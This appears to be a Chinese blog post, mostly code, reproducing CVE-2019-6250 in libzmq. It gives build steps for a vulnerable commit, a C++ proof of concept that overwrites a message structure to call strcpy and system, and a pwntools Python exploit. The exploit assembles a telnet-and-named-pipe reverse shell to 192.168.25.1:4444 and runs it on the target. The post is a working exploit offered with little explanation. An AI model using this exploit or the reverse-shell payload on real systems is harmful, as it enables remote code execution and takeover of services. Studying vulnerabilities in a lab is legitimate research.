CVE初探之漏洞反弹Shell（CVE-2019-6250） - ToB企服应用市场:ToB评测及商务社交产业平台

git clone https://github.com/zeromq/libzmq.git
cd libzmq
git reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3
sudo apt-get install libtool pkg-config build-essential autoconf
automake
./autogen.sh
./configure
make
sudo make install

复制代码

git clone https://github.com/zeromq/cppzmq
cd cppzmq
cmake .
sudo make -j4 install

复制代码

cd demo
编辑main.cpp,添加printf("hello worldn");
mkdir build
cd build
cmake ..
make
./demo

复制代码

#include <netinet/in.h>
#include <arpa/inet.h>
#include <zmq.hpp>
#include <string>
#include <iostream>
#include <unistd.h>
#include <thread>
#include <mutex>
class Thread {
public:
Thread() : the_thread(&Thread::ThreadMain, this)
{ }
~Thread(){
}
private:
std::thread the_thread;
void ThreadMain() {
zmq::context_t context (1);
zmq::socket_t socket (context, ZMQ_REP);
socket.bind ("tcp://*:6666");
while (true) {
zmq::message_t request;
// Wait for next request from client
try {
socket.recv (&request);
} catch ( ... ) { }
}
}
};
static void callRemoteFunction(const uint64_t arg1Addr, const uint64_t
arg2Addr, const uint64_t funcAddr)
{
int s;
struct sockaddr_in remote_addr = {};
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
abort();
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons(6666);
inet_pton(AF_INET, "127.0.0.1", &remote_addr.sin_addr);
if (connect(s, (struct sockaddr *)&remote_addr, sizeof(struct
sockaddr)) == -1)
{
abort();
}
const uint8_t greeting[] = {
0xFF, /* Indicates 'versioned' in
zmq::stream_engine_t::receive_greeting */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */
0x01, /* Indicates 'versioned' in
zmq::stream_engine_t::receive_greeting */
0x01, /* Selects ZMTP_2_0 in
zmq::stream_engine_t::select_handshake_fun */
0x00, /* Unused */
};
send(s, greeting, sizeof(greeting), 0);
const uint8_t v2msg[] = {
0x02, /* v2_decoder_t::eight_byte_size_ready */
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */
};
send(s, v2msg, sizeof(v2msg), 0);
/* Write UNTIL the location of zmq::msg_t::content_t */
size_t plsize = 8183;
uint8_t* pl = (uint8_t*)calloc(1, plsize);
send(s, pl, plsize, 0);
free(pl);
uint8_t content_t_replacement[] = {
/* void* data */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* size_t size */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* msg_free_fn *ffn */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* void* hint */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
/* Assumes same endianness as target */
memcpy(content_t_replacement + 0, &arg1Addr, sizeof(arg1Addr));
memcpy(content_t_replacement + 16, &funcAddr, sizeof(funcAddr));
memcpy(content_t_replacement + 24, &arg2Addr, sizeof(arg2Addr));
/* Overwrite zmq::msg_t::content_t */
send(s, content_t_replacement, sizeof(content_t_replacement), 0);
close(s);
sleep(1);
}
char destbuffer[100];
char srcbuffer[100] = "ping google.com";
int main(void)
{
Thread* rt = new Thread();
sleep(1);
callRemoteFunction((uint64_t)destbuffer, (uint64_t)srcbuffer,
(uint64_t)strcpy);
callRemoteFunction((uint64_t)destbuffer, 0, (uint64_t)system);
return 0;
}
复制到demo重新编译

复制代码

greeting
v2msg
plsize
content_t_replacement

复制代码

if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_
> (allocator.data () + allocator.size ())))) {
rc = _in_progress.init_size (static_cast<size_t> (msg_size_));
} else {
rc = _in_progress.init (const_cast<unsigned char *> (read_pos_),
static_cast<size_t> (msg_size_),
shared_message_memory_allocator::call_dec_ref,
allocator.buffer (), allocator.provide_content ());
if (_in_progress.is_zcmsg ()) {
allocator.advance_content ();
allocator.inc_ref ();
}
}

复制代码

system("mknod backpipe1 p && telnet
192.168.25.1 4444 0<backpipe1 | /bin/bash
1>backpipe1;")

复制代码

#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@File : exp.py
@Time : 2023/06/24 08:59:34
@Author : 5ma11wh1t3
@Contact : 197489628@qq.com
'''
import ctypes
from pwn import *
import base64
context.log_level=True
context.arch='amd64'
elf_path = './build/demo'
elf = ELF(elf_path)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
inter = lambda : p.interactive()
def debug():
gdb.attach(p, 'directory
/home/guo/Desktop/cve/cve-2019-6250/libzmq/src')
pause()
def lg(s,addr = None):
if addr:
print('033[1;31;40m[+] %-15s --> 0x%8x033[0m'%(s,addr))
else:
print('033[1;32;40m[-] %-20s 033[0m'%(s))
if __name__ == '__main__':
re_shell = b"mknod backpipe1 p && telnet 192.168.25.1 4444 0<backpipe1
| /bin/bash 1>backpipe1;"
with open(elf_path,'rb') as f:
binary = f.read()
ads = []
for char in re_shell:
char_address = 0x400000 + binary.index(char)
ads.append(char_address)
for i in range(len(ads)):
p = remote('127.0.0.1',6666)
p1 = b'xff' + b'x00'*8 + b'x01' + b'x01' +b'x00'
p1 += b'x02' + b'xff'*8
p1 += b'a'*8183
p1 += p64(0x4050F8+i) # void* data rdi
p1 += p64(0) # size_t size
p1 += p64(elf.plt['strcpy']) # msg_free_fn *ffn func
p1 += p64(ads[i]) # void* hint rsi
sn(p1)
p.close()
p = remote('127.0.0.1',6666)
p1 = b'xff' + b'x00'*8 + b'x01' + b'x01' +b'x00'
p1 += b'x02' + b'xff'*8
p1 += b'a'*8183
p1 += p64(0x4050F8) # void* data rdi
p1 += p64(0) # size_t size
p1 += p64(elf.plt['system']) # msg_free_fn *ffn func
p1 += p64(ads[i]) # void* hint rsi
# raw_input()
sn(p1)
p.close()

复制代码